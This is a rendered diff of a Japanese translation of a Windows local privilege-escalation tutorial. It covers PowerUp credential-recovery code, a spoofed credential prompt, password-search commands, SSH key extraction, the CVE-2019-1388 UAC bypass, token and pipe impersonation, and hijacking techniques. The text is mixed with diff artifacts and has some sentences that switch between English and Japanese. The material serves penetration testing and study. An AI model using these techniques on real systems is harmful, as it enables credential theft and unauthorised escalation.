このファイルが存在する場合、いくつかの**資格情報**が構成されており、**回復**できる可能性があります。
|
このファイルが存在する場合、いくつかの **資格情報** が構成されており、**回復**できる可能性があります。
|
||||||
|
|
||||||
This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
このコードは [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) から抽出されました。
|
||||||
```bash
|
```bash
|
||||||
function Get-ApplicationHost {
|
function Get-ApplicationHost {
|
||||||
$OrigError = $ErrorActionPreference
|
$OrigError = $ErrorActionPreference
|
||||||
@ -882,7 +882,7 @@ $ErrorActionPreference = $OrigError
|
|||||||
### SCClient / SCCM
|
### SCClient / SCCM
|
||||||
|
|
||||||
`C:\Windows\CCM\SCClient.exe` が存在するか確認します。\
|
`C:\Windows\CCM\SCClient.exe` が存在するか確認します。\
|
||||||
インストーラーは **SYSTEM 権限で実行され**、多くは **DLL サイドローディングに脆弱です(情報元は** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
|
インストーラーは **SYSTEM 権限で実行され**、多くは **DLL サイドローディングに脆弱です (情報は** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
|
||||||
```bash
|
```bash
|
||||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||||
if ($result) { $result }
|
if ($result) { $result }
|
||||||
@ -904,7 +904,7 @@ SSHプライベートキーはレジストリキー`HKCU\Software\OpenSSH\Agent\
|
|||||||
```bash
|
```bash
|
||||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||||
```
|
```
|
||||||
そのパス内にエントリが見つかった場合、それはおそらく保存されたSSHキーです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\
|
そのパス内にエントリが見つかると、それはおそらく保存されたSSHキーです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\
|
||||||
この技術に関する詳細情報はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
この技術に関する詳細情報はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||||
|
|
||||||
`ssh-agent`サービスが実行されていない場合、自動的に起動するようにするには、次のコマンドを実行します:
|
`ssh-agent`サービスが実行されていない場合、自動的に起動するようにするには、次のコマンドを実行します:
|
||||||
@ -974,7 +974,7 @@ AppData\Roaming\gcloud\access_tokens.db
|
|||||||
|
|
||||||
### Cached GPP Pasword
|
### Cached GPP Pasword
|
||||||
|
|
||||||
以前は、グループポリシーの設定(GPP)を介して、複数のマシンにカスタムローカル管理者アカウントを展開する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させることを可能にするため、深刻なリスクをもたらしました。
|
以前は、グループポリシープリファレンス(GPP)を介して、複数のマシンにカスタムローカル管理者アカウントを展開する機能が利用可能でした。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させる可能性があるため、深刻なリスクをもたらしました。
|
||||||
|
|
||||||
このリスクを軽減するために、「cpassword」フィールドが空でないローカルキャッシュされたGPPファイルをスキャンする機能が開発されました。このようなファイルが見つかると、関数はパスワードを復号化し、カスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPに関する詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修正に役立ちます。
|
このリスクを軽減するために、「cpassword」フィールドが空でないローカルキャッシュされたGPPファイルをスキャンする機能が開発されました。このようなファイルが見つかると、関数はパスワードを復号化し、カスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPに関する詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修正に役立ちます。
|
||||||
|
|
||||||
@ -1050,7 +1050,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
|||||||
```
|
```
|
||||||
### Ask for credentials
|
### Ask for credentials
|
||||||
|
|
||||||
ユーザーに自分の資格情報や、他のユーザーの資格情報を入力するように**頼むことができます**。彼がそれらを知っていると思う場合は特にそうです(**資格情報**を直接クライアントに**尋ねる**ことは非常に**リスクが高い**ことに注意してください):
|
You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**):
|
||||||
```bash
|
```bash
|
||||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||||
@ -1164,15 +1164,15 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
|||||||
|
|
||||||
### **COM DLLの上書き**
|
### **COM DLLの上書き**
|
||||||
|
|
||||||
**コンポーネントオブジェクトモデル (COM)** は、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にするWindowsオペレーティングシステム内に構築された技術です。各COMコンポーネントは**クラスID (CLSID)**によって**識別され**、各コンポーネントはインターフェースID (IIDs)によって識別される1つ以上のインターフェースを介して機能を公開します。
|
**コンポーネントオブジェクトモデル(COM)**は、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にするWindowsオペレーティングシステム内に構築された技術です。各COMコンポーネントは**クラスID(CLSID)**で識別され、各コンポーネントはインターフェースID(IIDs)で識別される1つ以上のインターフェースを介して機能を公開します。
|
||||||
|
|
||||||
COMクラスとインターフェースは、それぞれ**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**および**HKEY\_**_**CLASSES\_**_**ROOT\Interface**のレジストリに定義されています。このレジストリは、**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**をマージすることによって作成されます。
|
COMクラスとインターフェースは、それぞれ**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**および**HKEY\_**_**CLASSES\_**_**ROOT\Interface**のレジストリに定義されています。このレジストリは、**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**をマージすることによって作成されます。
|
||||||
|
|
||||||
このレジストリのCLSID内には、**DLL**を指す**デフォルト値**を含む子レジストリ**InProcServer32**があり、**ThreadingModel**という値が**Apartment**(シングルスレッド)、**Free**(マルチスレッド)、**Both**(シングルまたはマルチ)、または**Neutral**(スレッド中立)である可能性があります。
|
このレジストリのCLSID内には、**DLL**を指す**デフォルト値**を含む子レジストリ**InProcServer32**があり、**ThreadingModel**という値があり、これは**Apartment**(シングルスレッド)、**Free**(マルチスレッド)、**Both**(シングルまたはマルチ)、または**Neutral**(スレッド中立)である可能性があります。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
基本的に、実行されるDLLのいずれかを**上書きすることができれば**、そのDLLが異なるユーザーによって実行される場合、**特権を昇格**させることができます。
|
基本的に、実行されるDLLのいずれかを**上書きすることができれば**、そのDLLが異なるユーザーによって実行される場合、**特権を昇格させる**ことができます。
|
||||||
|
|
||||||
攻撃者がCOMハイジャックを持続メカニズムとしてどのように使用するかを学ぶには、次を確認してください:
|
攻撃者がCOMハイジャックを持続メカニズムとしてどのように使用するかを学ぶには、次を確認してください:
|
||||||
|
|
||||||
@ -1182,13 +1182,13 @@ com-hijacking.md
|
|||||||
|
|
||||||
### **ファイルとレジストリ内の一般的なパスワード検索**
|
### **ファイルとレジストリ内の一般的なパスワード検索**
|
||||||
|
|
||||||
**ファイル内容を検索**
|
**ファイルの内容を検索**
|
||||||
```bash
|
```bash
|
||||||
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||||||
findstr /si password *.xml *.ini *.txt *.config
|
findstr /si password *.xml *.ini *.txt *.config
|
||||||
findstr /spin "password" *.*
|
findstr /spin "password" *.*
|
||||||
```
|
```
|
||||||
**特定のファイル名を持つファイルを検索する**
|
**特定のファイル名のファイルを検索する**
|
||||||
```bash
|
```bash
|
||||||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||||||
where /R C:\ user.txt
|
where /R C:\ user.txt
|
||||||
@ -1216,16 +1216,16 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
|||||||
```
|
```
|
||||||
## Leaked Handlers
|
## Leaked Handlers
|
||||||
|
|
||||||
想像してみてください、**SYSTEMとして実行されているプロセスが新しいプロセスを開く** (`OpenProcess()`) **フルアクセスで**。同じプロセスが**低い権限で新しいプロセスを作成し** (`CreateProcess()`) **メインプロセスのすべてのオープンハンドルを継承します**。\
|
Imagine that **SYSTEMとして実行されているプロセスが新しいプロセスを開く** (`OpenProcess()`) **フルアクセスで**。同じプロセスが**低い権限で新しいプロセスを作成し** (`CreateProcess()`) **メインプロセスのすべてのオープンハンドルを継承します**。\
|
||||||
その後、**低い権限のプロセスにフルアクセスがある場合**、`OpenProcess()`で作成された**特権プロセスへのオープンハンドルを取得し**、**シェルコードを注入**できます。\
|
その後、**低い権限のプロセスにフルアクセスがある場合**、`OpenProcess()`で作成された**特権プロセスへのオープンハンドルを取得し**、**シェルコードを注入**できます。\
|
||||||
[この例を読んで、**この脆弱性を検出し、悪用する方法についての詳細情報を得てください**。](leaked-handle-exploitation.md)\
|
[この例を読んで、**この脆弱性を検出し、悪用する方法についての詳細情報を得てください**。](leaked-handle-exploitation.md)\
|
||||||
[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を得てください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
|
[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を得てください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
|
||||||
|
|
||||||
## Named Pipe Client Impersonation
|
## Named Pipe Client Impersonation
|
||||||
|
|
||||||
共有メモリセグメント、いわゆる**パイプ**は、プロセス間の通信とデータ転送を可能にします。
|
共有メモリセグメント、すなわち**パイプ**は、プロセス間の通信とデータ転送を可能にします。
|
||||||
|
|
||||||
Windowsは**Named Pipes**と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを越えてデータを共有できます。これはクライアント/サーバーアーキテクチャに似ており、役割は**named pipe server**と**named pipe client**として定義されます。
|
Windowsは**Named Pipes**と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを介してもデータを共有できます。これは、**named pipe server**と**named pipe client**として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。
|
||||||
|
|
||||||
**クライアント**によってパイプを通じてデータが送信されると、パイプを設定した**サーバー**は**クライアントのアイデンティティを引き受ける**能力を持ちます。必要な**SeImpersonate**権限がある場合です。パイプを介して通信する**特権プロセス**を特定し、そのプロセスのアイデンティティを模倣する機会があり、あなたが確立したパイプと相互作用する際にそのプロセスのアイデンティティを採用することで**より高い権限を得る**ことができます。このような攻撃を実行するための指示は、[**こちら**](named-pipe-client-impersonation.md)と[**こちら**](#from-high-integrity-to-system)で見つけることができます。
|
**クライアント**によってパイプを通じてデータが送信されると、パイプを設定した**サーバー**は**クライアントのアイデンティティを引き受ける**能力を持ちます。必要な**SeImpersonate**権限がある場合です。パイプを介して通信する**特権プロセス**を特定し、そのプロセスのアイデンティティを模倣する機会があり、あなたが確立したパイプと相互作用する際にそのプロセスのアイデンティティを採用することで**より高い権限を得る**ことができます。このような攻撃を実行するための指示は、[**こちら**](named-pipe-client-impersonation.md)と[**こちら**](#from-high-integrity-to-system)で見つけることができます。
|
||||||
|
|
||||||
@ -1245,13 +1245,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
|||||||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## パスワードをプロセスから盗む
|
## パスワードの盗難
|
||||||
|
|
||||||
## 低権限ユーザーからNT\AUTHORITY SYSTEM (CVE-2019-1388) / UACバイパスへ
|
## 低権限ユーザーからNT\AUTHORITY SYSTEMへの昇格 (CVE-2019-1388) / UACバイパス
|
||||||
|
|
||||||
グラフィカルインターフェース(コンソールまたはRDP経由)にアクセスでき、UACが有効になっている場合、Microsoft Windowsの一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。
|
グラフィカルインターフェース(コンソールまたはRDP経由)にアクセスでき、UACが有効になっている場合、Microsoft Windowsの一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。
|
||||||
|
|
||||||
これにより、特権を昇格させ、同時に同じ脆弱性でUACをバイパスすることができます。さらに、何かをインストールする必要はなく、プロセス中に使用されるバイナリはMicrosoftによって署名され、発行されています。
|
これにより、同じ脆弱性を利用して特権を昇格させ、同時にUACをバイパスすることができます。さらに、何もインストールする必要がなく、プロセス中に使用されるバイナリはMicrosoftによって署名され、発行されています。
|
||||||
|
|
||||||
影響を受けるシステムの一部は以下の通りです:
|
影響を受けるシステムの一部は以下の通りです:
|
||||||
```
|
```
|
||||||
@ -1275,7 +1275,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
|
|||||||
Windows 10 1703 15063 link NOT opened
|
Windows 10 1703 15063 link NOT opened
|
||||||
Windows 10 1709 16299 link NOT opened
|
Windows 10 1709 16299 link NOT opened
|
||||||
```
|
```
|
||||||
この脆弱性を悪用するには、次のステップを実行する必要があります:
|
この脆弱性を悪用するには、次の手順を実行する必要があります:
|
||||||
```
|
```
|
||||||
1) Right click on the HHUPD.EXE file and run it as Administrator.
|
1) Right click on the HHUPD.EXE file and run it as Administrator.
|
||||||
|
|
||||||
@ -1315,7 +1315,7 @@ integrity-levels.md
|
|||||||
|
|
||||||
### **新しいサービス**
|
### **新しいサービス**
|
||||||
|
|
||||||
すでに高い整合性プロセスで実行している場合、**SYSTEMへのパス**は**新しいサービスを作成して実行する**だけで簡単に行えます:
|
すでに高い整合性プロセスで実行している場合、**SYSTEMにパスする**のは、**新しいサービスを作成して実行する**だけで簡単です:
|
||||||
```
|
```
|
||||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||||
sc start newservicename
|
sc start newservicename
|
||||||
@ -1327,24 +1327,24 @@ High Integrity プロセスから、**AlwaysInstallElevated レジストリエ
|
|||||||
|
|
||||||
### High + SeImpersonate privilege to System
|
### High + SeImpersonate privilege to System
|
||||||
|
|
||||||
**コードは** [**こちらで見つけることができます**](seimpersonate-from-high-to-system.md)**。**
|
**コードは** [**こちらにあります**](seimpersonate-from-high-to-system.md)**。**
|
||||||
|
|
||||||
### From SeDebug + SeImpersonate to Full Token privileges
|
### From SeDebug + SeImpersonate to Full Token privileges
|
||||||
|
|
||||||
これらのトークン権限を持っている場合(おそらくすでに High Integrity プロセスで見つけることができるでしょう)、**ほぼすべてのプロセス**(保護されたプロセスではない)を SeDebug 権限で**開くことができ**、プロセスの**トークンをコピー**し、そのトークンを使用して**任意のプロセスを作成**することができます。\
|
これらのトークン権限を持っている場合(おそらくすでに High Integrity プロセスで見つけることができるでしょう)、**ほぼすべてのプロセス**(保護されたプロセスではない)を SeDebug 権限で**開くことができ**、プロセスの**トークンをコピー**し、そのトークンを使用して**任意のプロセスを作成**することができます。\
|
||||||
この技術を使用する際は、通常、**すべてのトークン権限を持つ SYSTEM として実行されている任意のプロセスを選択します**(_はい、すべてのトークン権限を持たない SYSTEM プロセスを見つけることができます_)。\
|
この技術を使用する際は、通常、**すべてのトークン権限を持つ SYSTEM として実行されている任意のプロセスを選択します**(_はい、すべてのトークン権限を持たない SYSTEM プロセスを見つけることができます_)。\
|
||||||
**提案された技術を実行するコードの** [**例はこちらで見つけることができます**](sedebug-+-seimpersonate-copy-token.md)**。**
|
**提案された技術を実行するコードの** [**例はこちらにあります**](sedebug-+-seimpersonate-copy-token.md)**。**
|
||||||
|
|
||||||
### **Named Pipes**
|
### **Named Pipes**
|
||||||
|
|
||||||
この技術は、meterpreter が `getsystem` で昇格するために使用します。この技術は、**パイプを作成し、そのパイプに書き込むサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`** 権限を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM 権限を取得することができます。\
|
この技術は、meterpreter が `getsystem` で昇格するために使用されます。この技術は、**パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`** 権限を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM 権限を取得することができます。\
|
||||||
名前付きパイプについて[**もっと学びたい場合はこれを読むべきです**](#named-pipe-client-impersonation)。\
|
名前付きパイプについて[**もっと学びたい場合はこれを読むべきです**](#named-pipe-client-impersonation)。\
|
||||||
High Integrity から SYSTEM へ名前付きパイプを使用して移行する[**方法の例を読みたい場合はこれを読むべきです**](from-high-integrity-to-system-with-name-pipes.md)。
|
High Integrity から SYSTEM へ名前付きパイプを使用して移行する[**方法の例を読みたい場合はこれを読むべきです**](from-high-integrity-to-system-with-name-pipes.md)。
|
||||||
|
|
||||||
### Dll Hijacking
|
### Dll Hijacking
|
||||||
|
|
||||||
**SYSTEM** として実行されている**プロセス**によって**ロードされる dll をハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijacking はこの種の権限昇格にも役立ち、さらに、**High Integrity プロセスからはるかに達成しやすい**です。なぜなら、dll をロードするために使用されるフォルダーに**書き込み権限**を持っているからです。\
|
**SYSTEM** として実行されている**プロセス**によって**ロードされる dll をハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijacking はこの種の権限昇格にも役立ち、さらに、**High Integrity プロセスからはるかに達成しやすい**です。なぜなら、dll をロードするために使用されるフォルダーに**書き込み権限**を持っているからです。\
|
||||||
**Dll hijacking についてもっと学ぶことができます** [**こちらで**](dll-hijacking/)**。**
|
**Dll hijacking についてもっと学ぶことができます** [**こちら**](dll-hijacking/index.html)**。**
|
||||||
|
|
||||||
### **From Administrator or Network Service to System**
|
### **From Administrator or Network Service to System**
|
||||||
|
|
||||||
@ -1368,39 +1368,39 @@ https://github.com/sailay1996/RpcSsImpersonator
|
|||||||
|
|
||||||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 誤設定や機密ファイルをチェックします (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出されました。**\
|
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 誤設定や機密ファイルをチェックします (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出されました。**\
|
||||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の可能な誤設定をチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
|
[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の誤設定をチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
|
||||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 誤設定をチェックします**\
|
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 誤設定をチェックします**\
|
||||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDP の保存されたセッション情報を抽出します。ローカルで -Thorough を使用します。**\
|
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDP の保存されたセッション情報を抽出します。ローカルで -Thorough を使用します。**\
|
||||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から資格情報を抽出します。検出されました。**\
|
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から資格情報を抽出します。検出されました。**\
|
||||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします**\
|
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします**\
|
||||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh は PowerShell ADIDNS/LLMNR/mDNS/NBNS スプーフィングおよび中間者攻撃ツールです。**\
|
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh は PowerShell ADIDNS/LLMNR/mDNS/NBNS スプーフィングおよび中間者攻撃ツールです。**\
|
||||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な privesc Windows 列挙**\
|
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な privesc Windows 列挙**\
|
||||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の privesc 脆弱性を検索します (非推奨: Watson)\
|
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の privesc 脆弱性を検索します(Watson のために非推奨)\
|
||||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)**
|
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)**
|
||||||
|
|
||||||
**Exe**
|
**Exe**
|
||||||
|
|
||||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の privesc 脆弱性を検索します (VisualStudio を使用してコンパイルする必要があります) ([**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の privesc 脆弱性を検索します(VisualStudio を使用してコンパイルする必要があります) ([**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 誤設定を探すためにホストを列挙します (privesc よりも情報収集ツール) (コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 誤設定を探してホストを列挙します(privesc よりも情報収集ツールに近い)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します (GitHub に事前コンパイル済み exe)**\
|
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します(GitHub に事前コンパイル済み exe)**\
|
||||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp の C# へのポート**\
|
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp の C# へのポート**\
|
||||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェックします (GitHub に事前コンパイル済みの実行可能ファイル)。推奨されません。Win10 ではうまく動作しません。\
|
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェックします(GitHub に事前コンパイル済みの実行可能ファイル)。推奨されません。Win10 ではうまく動作しません。\
|
||||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします (Python からの exe)。推奨されません。Win10 ではうまく動作しません。
|
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします(Python からの exe)。推奨されません。Win10 ではうまく動作しません。
|
||||||
|
|
||||||
**Bat**
|
**Bat**
|
||||||
|
|
||||||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- この投稿に基づいて作成されたツール (正しく動作するために accesschk は必要ありませんが、使用することができます)。
|
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- この投稿に基づいて作成されたツール(正しく動作するために accesschk は必要ありませんが、使用することができます)。
|
||||||
|
|
||||||
**Local**
|
**Local**
|
||||||
|
|
||||||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** の出力を読み取り、動作するエクスプロイトを推奨します (ローカル Python)\
|
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** の出力を読み取り、動作するエクスプロイトを推奨します(ローカル Python)\
|
||||||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** の出力を読み取り、動作するエクスプロイトを推奨します (ローカル Python)
|
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** の出力を読み取り、動作するエクスプロイトを推奨します(ローカル Python)
|
||||||
|
|
||||||
**Meterpreter**
|
**Meterpreter**
|
||||||
|
|
||||||
_multi/recon/local_exploit_suggestor_
|
_multi/recon/local_exploit_suggestor_
|
||||||
|
|
||||||
プロジェクトを正しいバージョンの .NET を使用してコンパイルする必要があります ([こちらを参照](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。被害者ホストにインストールされている .NET のバージョンを確認するには、次のようにします:
|
プロジェクトを正しいバージョンの .NET を使用してコンパイルする必要があります([こちらを参照](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。被害者ホストにインストールされている .NET のバージョンを確認するには、次のようにします:
|
||||||
```
|
```
|
||||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||||
```
|
```
|
||||||
|
Loading…
x
Reference in New Issue
Block a user